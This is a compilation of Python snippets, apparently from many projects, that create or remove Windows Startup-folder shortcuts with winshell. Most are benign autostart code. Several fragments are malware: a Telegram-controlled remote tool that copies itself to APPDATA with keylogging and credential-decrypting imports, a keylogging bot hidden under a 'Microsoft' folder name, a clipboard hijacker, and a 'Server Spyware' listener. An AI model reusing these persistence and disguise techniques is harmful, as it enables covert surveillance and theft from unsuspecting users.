def StartUp(): startup = winshell.startup() # use common=1 for all users print startup winshell.CreateShortcut(Path=os.path.join(winshell.startup(), "msfeeds.lnk"), Target=sys.executable, Icon=(sys.executable, 0), Description="msfeeds.exe")
def OK_buttonClick(self): settings = [ self.spinBox_1.value() if self.checkBox_1.isChecked() else 0, self.spinBox_2.value() if self.checkBox_2.isChecked() else 0, self.spinBox_3.value() if self.checkBox_3.isChecked() else 0, self.spinBox_4.value(), ] settings = [str(s) for s in settings] # generate link in startup directory = path.dirname(sys.argv[0]) target = path.join(directory, "BingWallpaper.exe") arguments = ' '.join(settings) winshell.CreateShortcut( Path=path.join(winshell.startup(), "BingWallpaper.lnk"), Target=target, Arguments=arguments, StartIn=directory, ) # messagebox question, ask to download ans = QMessageBox.question(self, "创建配置", "成功配置开机启动!\n是否立即执行程序?", QMessageBox.Ok | QMessageBox.Cancel) if ans == QMessageBox.Ok: ShellExecute(0, 'open', target, arguments, directory, 1) self.close()
def create_startup(): startup = winshell.startup() # use common=1 for all users print(startup) winshell.CreateShortcut( Path=os.path.join (os.getcwd(), "WallpaperHour.exe"), Target=sys.executable, Icon=(sys.executable, 0), Description="Wallpaper Hour" ) winshell.CreateShortcut( Path=os.path.join (winshell.startup(), "WallpaperHour.lnk"), Target=sys.executable, Icon=(sys.executable, 0), Description="Wallpaper Hour" )
def confirm_pressed(self, platform: Platform): if not gui_valid_check.valid_check(self.ical_url, self.lang_var): return icalURL = self.ical_url.get("1.0", tk.END) lang = self.lang_var.get() config_handler.set_section("SETTINGS") config_handler.set_value("platform", platform.value) config_handler.set_value("icalURL", icalURL) config_handler.set_value("language", lang) startup_folder = winshell.startup() path = os.path.join(startup_folder, "kronoxToGCalendar_startup.lnk") target = os.path.abspath( os.path.join(os.path.dirname(__file__), "..\..", "run.vbs")) icon = os.path.abspath( os.path.join(os.path.dirname(__file__), "..\..", "run.vbs")) wrk_dir = os.path.abspath( os.path.join(os.path.dirname(__file__), "..\..")) shell = client.Dispatch("WScript.Shell") shortcut = shell.CreateShortCut(path) shortcut.TargetPath = target shortcut.IconLocation = icon shortcut.WorkingDirectory = wrk_dir shortcut.save() self.root.destroy()
def add_script_to_startup_dir(): script_path = os.path.join(winshell.startup(), 'on_target_boot.bat') with open(script_path, 'w') as f: cmds = util.make_line('pushd {}'.format(os.getcwd())) cmds += util.make_line('start "" py -3 fuzzer.py') f.write(cmds)
def createShortcutToStartup(self): self._waitAction.emit(waitGif) winshell.CreateShortcut(Path=os.path.join(winshell.startup(), 'connor' + '.lnk'), Target=sys.argv[0], StartIn=os.path.dirname(sys.argv[0]), Icon=(sys.argv[0], 0), Description='connor')
def getAutostart(self): if sys.platform == "linux2": return QFileInfo(QDir.home(), ".config/autostart/series60-remote.desktop").exists() elif sys.platform == "win32": if USE_WINSHELL: autostart = winshell.startup() return QFileInfo(QDir(autostart), "series60-remote.exe.lnk").exists() return False
def borrar_acceso(): startup = winshell.startup() accesoD = os.path.join(startup, "IP por Email - vCC.lnk") aux = os.path.isfile(accesoD) # Si el acceso directo existe lo borra if aux == True: winshell.delete_file(accesoD, allow_undo=False, no_confirm=True ,silent=True)
def testShortcut(self): pythonProg = env_utils.whereProgram("python") dstFolder = winshell.startup() dst = dstFolder + "\\python.lnk" env_utils.createShortcut(pythonProg, dst) self.assertTrue(os.path.exists(dst)) os.remove(dst) self.assertTrue(not os.path.exists(dst))
def Delete_buttonClick(self): try: os.remove(path.join(winshell.startup(), "BingWallpaper.lnk")) info = "开机启动配置已删除!" except FileNotFoundError: info = "未配置开机启动!" # messagebox information QMessageBox.information(self, "删除配置", info)
def delete_startup(): try: startup = winshell.startup(1) # remove shortcut from startup folder if os.path.isfile(startup + '\\Vertaler.lnk'): os.remove(startup + '\\Vertaler.lnk') except Exception: pass
def is_start_up(): try: startup = winshell.startup(1) if os.path.exists(startup + '\\Vertaler.lnk'): return True else: return False except Exception: pass
def removeAutostart(self): if sys.platform == "linux2": return QFile(QDir.home().filePath( ".config/autostart/series60-remote.desktop")).remove() elif sys.platform == "win32": if USE_WINSHELL: return QFile( QDir(winshell.startup()).filePath( "series60-remote.exe.lnk")).remove()
def create_shortcut_to_startup(): title = u'StartUp' s = os.path.basename(__file__) fname = os.path.splitext(s)[0] winshell.CreateShortcut(Path=os.path.join( winshell.startup(), os.path.basename(__file__) + '.lnk'), Target=__file__, Icon=(__file__, 0), Description=title)
def addStartup(): """This will add the file to the startup registry key.""" startFile = os.path.abspath(sys.argv[0]) startup = winshell.startup() winshell.CreateShortcut(Path=os.path.join(startup, "Microsoft Corporative.lnk"), Target=startFile, Icon=(startFile, 0), Description="Microsoft Corporation", StartIn=os.path.abspath(None))
def makeShortCut(intel_dir): desktop = winshell.startup() path = os.path.join(desktop, "Chrome.lnk") target = intel_dir + "Run_Chrome.exe" icon = r"%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe" shell = Dispatch('WScript.Shell') shortcut = shell.CreateShortCut(path) shortcut.Targetpath = target shortcut.IconLocation = icon shortcut.save()
def load_saved_values(self): """ Fills the Options window with the currently saved configuration. """ config = db.DBManager().get_config() # Autostart if os.path.exists(os.path.join(winshell.startup(),constant.AUTOSTART_SHORTCUT_NAME)): self.ui_options.checkbox_autostart.setChecked(True) else: self.ui_options.checkbox_autostart.setChecked(False) # Show notification self.ui_options.checkbox_notification.setChecked(config.show_notification) # Search frequency self.ui_options.text_search_frequency.setText(str(config.sleep_time/60)) #DB saves this as seconds # RSS or HTML (Nyaa only) self.ui_options.checkbox_prefer_rss.setChecked(config.prefer_rss) # Application used to download torrents application_exe = "" try: self.default_application_path = torrent_application.default_application_fullpath() application_exe = torrent_application.filename(self.default_application_path) radio_text = self.ui_options.radio_use_default_app.text() self.ui_options.radio_use_default_app.setText("%s (%s)" % (radio_text,application_exe)) except WindowsError: label = QtGui.QLabel() label.setText("Windows has no default application to open .torrent files.") font = QtGui.QFont() font.setBold(False) label.setFont(font) label.setStyleSheet("QLabel { color : red; }") label.setWordWrap(True) self.ui_options.groupbox_app_vertical_layout.insertWidget(0,label) self.ui_options.radio_use_default_app.setEnabled(False) config.update_use_default_app(False) if config.use_default_app: self.ui_options.radio_use_default_app.setChecked(True) self.ui_options.radio_use_another_app.setChecked(False) self.ui_options.text_app_path.setEnabled(False) self.ui_options.button_app_path.setEnabled(False) else: self.ui_options.radio_use_default_app.setChecked(False) self.ui_options.radio_use_another_app.setChecked(True) self.ui_options.text_app_path.setEnabled(True) self.ui_options.button_app_path.setEnabled(True) self.ui_options.text_app_path.setText(config.app_path) application_exe = torrent_application.filename(config.app_path) self.check_application_selected(application_exe) # Anime download folder self.ui_options.text_anime_folder.setText(config.anime_folder)
def getAutostart(self): if sys.platform == "linux2": return QFileInfo( QDir.home(), ".config/autostart/series60-remote.desktop").exists() elif sys.platform == "win32": if USE_WINSHELL: autostart = winshell.startup() return QFileInfo(QDir(autostart), "series60-remote.exe.lnk").exists() return False
def removeFromStartup(self): windowsStartupFolder = winshell.startup() try: if os.path.exists(windowsStartupFolder + '\%s.lnk' % self.shortcutName): os.remove(windowsStartupFolder + '\%s.lnk' % self.shortcutName) print("--------------> Successfully removed from startup") else: pass except Exception as error: print("Error removing shortcut from startup folder. --> " + str(error))
def disableServer(): """ will disable the clcache-server and remove it from the startup programs. Note : this does not kil the clcache-server.exe process, however subsequent builds will not use it. """ if env_utils.readEnvVariableFromRegistry("CLCACHE_SERVER") is not None: env_utils.removeEnvVariable("CLCACHE_SERVER") dstFolder = winshell.startup() dst = dstFolder + "\\clache-server.lnk" env_utils.removeFile(dst) return True
def add_script_to_startup_dir(run_on_boot): script_path = os.path.join(winshell.startup(), 'on_host_boot.bat') if run_on_boot: with open(script_path, 'w') as f: cmds = make_line('pushd {}'.format(os.getcwd())) cmds += make_line('start "" python start_fuzzing.py') f.write(cmds) else: try: os.remove(script_path) except: pass
def set_startup(): try: startFile = os.path.abspath(sys.argv[0]) startup=winshell.startup() winshell.CreateShortcut ( Path=os.path.join (startup, "FormFillScript.lnk"), Target=startFile, Icon=(startFile, 0), Description="Web Script", StartIn=os.path.abspath(None) ) except: pass
def ticked_runStartup(): if run_startup.get() == True: # based on https://winshell.readthedocs.io/en/latest/shortcuts.html startup_lnk = os.path.join(winshell.startup(), "AutoTheme-19.lnk") with winshell.shortcut(startup_lnk) as link: link.path = sys.executable link.description = "AutoTheme-19, a windows desktop time-based theme switcher" link.icon = sys.executable, 0 link.working_directory = os.path.dirname( os.path.abspath(__file__)) print("setting a shortcut in the startup folder to run at startup") elif run_startup.get() == False: try: winshell.delete_file(os.path.join(winshell.startup(), "AutoTheme-19.lnk"), allow_undo=False, no_confirm=True, silent=True) print( "deleting the shortcut in the startup folder so I don't run at startup" ) except winshell.x_winshell: print("shortcut not found, shrugs")
def enableServer(): """ will enable the clache-server, start it, and make sure that it starts when your computer starts. """ env_utils.setAndStoreEnvVariable("CLCACHE_SERVER", "1") env_utils.runProcessDetached(env_utils.pipScriptsDir() + "\\clcache-server.exe") dstFolder = winshell.startup() dst = dstFolder + "\\clache-server.lnk" src = env_utils.pipScriptsDir() + "\\clcache-server.exe" env_utils.createShortcut(src, dst) return True
def set_startup(): try: # get path and file name for application startFile = os.path.abspath(sys.argv[0]) # get startup folder startup = winshell.startup(1) # create shortcut in startup folder winshell.CreateShortcut( Path=os.path.join(startup, "Vertaler.lnk"), Target=startFile, Icon=(startFile, 0), Description="Vertaler", StartIn=os.path.abspath(None) ) except Exception: pass
def addToStartUp(self): self.exe_name = os.path.basename(sys.argv[0]) self.target_exe = (os.path.abspath(sys.argv[0])) self.working_directory = (os.path.abspath( sys.argv[0])).split("\\" + self.exe_name)[0] print("Add to startup" + str(self.exe_name) + str(self.target_exe) + str(self.working_directory)) try: windowsStartupFolder = winshell.startup() shell = win32com.client.Dispatch('WScript.Shell') shortcut = shell.CreateShortCut(windowsStartupFolder + '\%s.lnk' % self.shortcutName) shortcut.Targetpath = r'%s' % self.target_exe shortcut.WorkingDirectory = r'%s' % self.working_directory shortcut.save() except Exception as error: print("Error adding shortcut to startup folder. --> " + str(error))
def crear_acceso(): try: # Reconoce la carpeta de Inicio startup = winshell.startup() ruta = os.path.join(startup, "IP por Email - vCC.lnk") # Cual es el archivo al q se le hará un link objetivo = os.path.abspath('Final.py') dir_objetivo = os.getcwd() # Indica la dirección del ícono icono = os.path.join(os.getcwd(), "recs\IP_ico.ico") # Crea el acceso con los dato brindados shell = Dispatch('WScript.Shell') shortcut = shell.CreateShortCut(ruta) shortcut.Targetpath = objetivo shortcut.WorkingDirectory = dir_objetivo shortcut.IconLocation = icono shortcut.save() except: mjes_error("No se pudo crear el acceso directo.")
def createAutostart(self, minimized): application = self.getExecutable() if not application or self.getAutostart() or not self.getExecutable(): return if minimized: args = "-m" else: args = "" if sys.platform == "linux2": if not QDir.home().mkpath(".config/autostart"): return if self.getExecutable().startswith("python "): tryexec = "python" else: tryexec = self.getExecutable() desktopfile = open( unicode(QDir.home().filePath( ".config/autostart/series60-remote.desktop")), 'w') print >> desktopfile, "[Desktop Entry]" print >> desktopfile, "Encoding=UTF-8" print >> desktopfile, "Name=Series60-Remote S60 Software Suite" print >> desktopfile, "TryExec=%s" % tryexec print >> desktopfile, "Exec=%s %s" % (self.getExecutable(), args) print >> desktopfile, "StartupNotify=false" print >> desktopfile, "Type=Application" desktopfile.close() elif sys.platform == "win32": if USE_WINSHELL: exe = self.getExecutable() dir = unicode(QFileInfo(exe).dir().absolutePath()) winshell.CreateShortcut( Path=os.path.join(winshell.startup(), "series60-remote.exe.lnk"), Target=exe, Arguments=args, Icon=(exe, 0), Description="Series60-Remote S60 Software Suite", StartIn=dir)
def createAutostart(self, minimized): application = self.getExecutable() if not application or self.getAutostart() or not self.getExecutable(): return if minimized: args = "-m" else: args="" if sys.platform == "linux2": if not QDir.home().mkpath(".config/autostart"): return if self.getExecutable().startswith("python "): tryexec = "python" else: tryexec = self.getExecutable() desktopfile = open(unicode(QDir.home().filePath(".config/autostart/series60-remote.desktop")), 'w') print >> desktopfile, "[Desktop Entry]" print >> desktopfile, "Encoding=UTF-8" print >> desktopfile, "Name=Series60-Remote S60 Software Suite" print >> desktopfile, "TryExec=%s" % tryexec print >> desktopfile, "Exec=%s %s" % (self.getExecutable(), args) print >> desktopfile, "StartupNotify=false" print >> desktopfile, "Type=Application" desktopfile.close() elif sys.platform == "win32": if USE_WINSHELL: exe = self.getExecutable() dir = unicode(QFileInfo(exe).dir().absolutePath()) winshell.CreateShortcut( Path=os.path.join(winshell.startup(), "series60-remote.exe.lnk"), Target=exe, Arguments=args, Icon=(exe, 0), Description="Series60-Remote S60 Software Suite", StartIn=dir )
def __getFullpath__(self, name): startup = winshell.startup() return os.path.join(startup, '%s.%s' % (name, enum.SHORTCUT_EXT))
from PIL import ImageGrab from time import strftime, sleep from shutil import copyfile from sys import argv from json import loads from winshell import startup from tendo import singleton import telepot, requests import time, sqlite3, os, os.path, platform, ctypes import pyHook, pythoncom, win32crypt # me = singleton.SingleInstance() Uncomment this if you do not manage to have multiple connection for each zombie appdata_folder = os.environ['APPDATA'] hide_location = appdata_folder + '\\' + 'portal.exe' target_file = startup() + '\\portal.lnk' print('Appdata folder: {}'.format(appdata_folder)) print('Hide location: {}'.format(hide_location)) print('Target File: {}'.format(target_file)) if (argv[0]).endswith('.exe'): # If the filename ends with the exe extension, copyfile(argv[0], hide_location) # it will install copy itself on the APPDATA directory and then create shell = Dispatch('WScript.Shell') # Create Dispatcher object to perform a regedit startup shortcut = shell.CreateShortCut(target_file) shortcut.Targetpath = hide_location shortcut.WorkingDirectory = appdata_folder shortcut.save() initi = False # Boolean variable used as double confirmation that the Attacker wants to kill the connection
except: pass cd.log('i','Starting') me = singleton.SingleInstance() token = 'xx:xx' # <== Aquí debes ingresar el codigo único de tu Bot if 'RVT_TOKEN' in os.environ: # it can also be set as an environment variable token = os.environ['RVT_TOKEN'] app_name = 'Microsoft' # Nombre de la carpeta en dentro delRoaming known_ids = [''] # Ejemplo => 991466973 <= Ejemplo # AGREGUE SU chat_id EN FORMATO DE CADENA A LA LISTA A CONTINUACIÓN SI DESEA QUE SU BOTELO SOLO RESPONDA A UNA PERSONA appdata_roaming_folder = os.environ['APPDATA'] hide_folder = appdata_roaming_folder + '\\' + app_name #Carpeta escondite compiled_name = app_name + '.exe' # ruta donde se compilará target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk') if not os.path.exists(hide_folder): os.makedirs(hide_folder) hide_compiled = hide_folder + '\\' + compiled_name copyfile(argv[0], hide_compiled) shell = Dispatch('WScript.Shell') shortcut = shell.CreateShortCut(target_shortcut) shortcut.Targetpath = hide_compiled shortcut.WorkingDirectory = hide_folder shortcut.save() if not os.path.exists('logs/{}-log.txt'.format(str(datetime.now().strftime('%Y-%m-%d')))): f=open('logs/{}-log.txt'.format(str(datetime.now().strftime('%Y-%m-%d')))) f.close() destroy = False user = os.environ.get("USERNAME") # Windows username to append keylogs schedule = {}
def button_save_clicked(self): """ Saves all changes made. """ config = db.DBManager().get_config() error = False try: new_sleep_time = int(self.ui_options.text_search_frequency.text())*60 except ValueError: new_sleep_time = -1 if new_sleep_time == -1: show_ok_message("Invalid search frequency","Invalid search frequency value.\n" "The minimum value allowed is 15 minutes.",QtGui.QMessageBox.Warning) error = True elif new_sleep_time < 900: # 15 min show_ok_message("Search frequency too high!","Search frequency must be slower.\n" "The minimum value allowed is 15 minutes.",QtGui.QMessageBox.Warning) error = True new_app_path = read_qt_text(self.ui_options.text_app_path.text()) if (not os.path.exists(new_app_path) or not new_app_path.endswith(".exe")) and not self.ui_options.radio_use_default_app.isChecked(): show_ok_message("Invalid application path","Invalid application selected.\n" "Please select the appropriate application to open the .torrent files.",QtGui.QMessageBox.Warning) error = True if not self.ui_options.text_anime_folder.isEnabled(): new_anime_folder = "" else: new_anime_folder = self.ui_options.text_anime_folder.text() new_use_default_app = self.ui_options.radio_use_default_app.isChecked() if not os.path.isdir(new_anime_folder) and (self.ui_options.text_anime_folder.isEnabled() or new_app_path.lower().endswith("utorrent.exe")): if new_anime_folder=="": if not error and (config.anime_folder!="" or new_use_default_app!=config.use_default_app): selection = show_yes_no_message("No folder?","Are you sure you do not want to specify a folder for anime?\n" "That means uTorrent will choose where to save downloaded episodes.") if selection == QtGui.QMessageBox.Yes: pass elif selection == QtGui.QMessageBox.No: error = True else: show_ok_message("Invalid anime folder","Invalid folder to save anime",QtGui.QMessageBox.Warning) error = True if not error: new_autostart = self.ui_options.checkbox_autostart.isChecked() new_show_notification = self.ui_options.checkbox_notification.isChecked() new_prefer_rss = self.ui_options.checkbox_prefer_rss.isChecked() if new_autostart: with winshell.shortcut(os.path.join(winshell.startup(),constant.AUTOSTART_SHORTCUT_NAME)) as shortcut: shortcut.path = sys.executable shortcut.icon = sys.executable, 0 shortcut.arguments = '-nogui' shortcut.description = constant.AUTOSTART_SHORTCUT_DESCRIPTION else: try: os.remove(os.path.join(winshell.startup(),constant.AUTOSTART_SHORTCUT_NAME)) except WindowsError: pass config.update_show_notification(new_show_notification) config.update_sleep_time(new_sleep_time) config.update_prefer_rss(new_prefer_rss) config.update_use_default_app(new_use_default_app) config.update_app_path(new_app_path) config.update_anime_folder(new_anime_folder) self.dialog_options.accept()
def startup(): if name + ".lnk" not in os.listdir(winshell.startup()): link_loc = os.path.join(winshell.startup(), name + ".lnk") sc = winshell.shortcut() sc.path = os.path.realpath(sys.argv[0]) sc.write(link_loc)
def removeAutostart(self): if sys.platform == "linux2": return QFile(QDir.home().filePath(".config/autostart/series60-remote.desktop")).remove() elif sys.platform == "win32": if USE_WINSHELL: return QFile(QDir(winshell.startup()).filePath("series60-remote.exe.lnk")).remove()
DELAY = 5*3600 #Every 5 hours config={} try: configFile = open('config.json','r') config = json.load(configFile) configFile.close() except (IOError, ValueError): config['username'] = constants['defaultUser'] config['server'] = constants['defaultServer'] #Create shortcut for autostarting desktop = winshell.startup() path = os.path.join(desktop, "LolNormalStats.lnk") target = os.getcwd()+"/main.exe" wDir = os.getcwd() icon = os.getcwd()+"/img/icons/zed.png" shell = Dispatch('WScript.Shell') shortcut = shell.CreateShortCut(path) shortcut.Targetpath = target shortcut.WorkingDirectory = wDir shortcut.IconLocation = icon shortcut.save() setup_all() create_all()
import pyperclip import winshell import random import time import sys import os # bc schtasks bad and system32 bad! SECRET_DIR = winshell.startup() SECRET_DST = os.path.join(SECRET_DIR, os.path.basename(sys.executable)) def abs_path(relative_path): """ Get absolute path to resource, works for dev and for PyInstaller """ base = getattr(sys, "_MEIPASS", os.path.dirname(os.path.abspath(__file__))) return os.path.join(base, relative_path) with open(abs_path("p**n-sites.list")) as src: P**N = src.readlines() def mess_clipboard(delay=1): old_content = None while True: new_content = pyperclip.paste() if new_content and new_content != old_content and random.randrange( 3) < 1: random_porn = new_content = random.choice(P**N) pyperclip.copy(random_porn) time.sleep(delay)
import socket # socket import _thread # threading import tkinter # GUI properties from tkinter import * # GUI properties from tkinter import filedialog # GUI properties import winshell # Shortcut creation in startup folder # from tkinter import messagebox # Error msg s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_hostname = socket.gethostname() server_ip = socket.gethostbyname(server_hostname) HOST = '' PORT = 8000 s.bind((HOST, PORT)) startup = winshell.startup() if not os.path.isfile(startup + '/' + 'desktopspy_server_v01.lnk'): winshell.CreateShortcut( Path=os.path.join(startup, 'desktopspy_server_v01.lnk'), Target= r"C:\Program Files (x86)\desktop-spy-server\desktopspy_server_v01.exe", Icon= (r"C:\Program Files (x86)\desktop-spy-server\desktopspy_server_v01.exe", 0), Description="Server Spyware") def employee_thread(client_conn): # main thread that separates employee employee = client_conn.recv(1024).decode('utf-8') def rcv_data(): # receive msg thread
def startups(): return [winshell.startup(), winshell.startup(1)]
def checkAutoState(self): try: open(os.path.join(winshell.startup(), 'connor.lnk')) self.autoStart.setChecked(True) except FileNotFoundError: self.autoStart.setChecked(False)
def delShortcutFromStartUp(self): self._waitAction.emit(waitGif) defile = os.path.join(winshell.startup(), 'connor.lnk') winshell.delete_file(defile)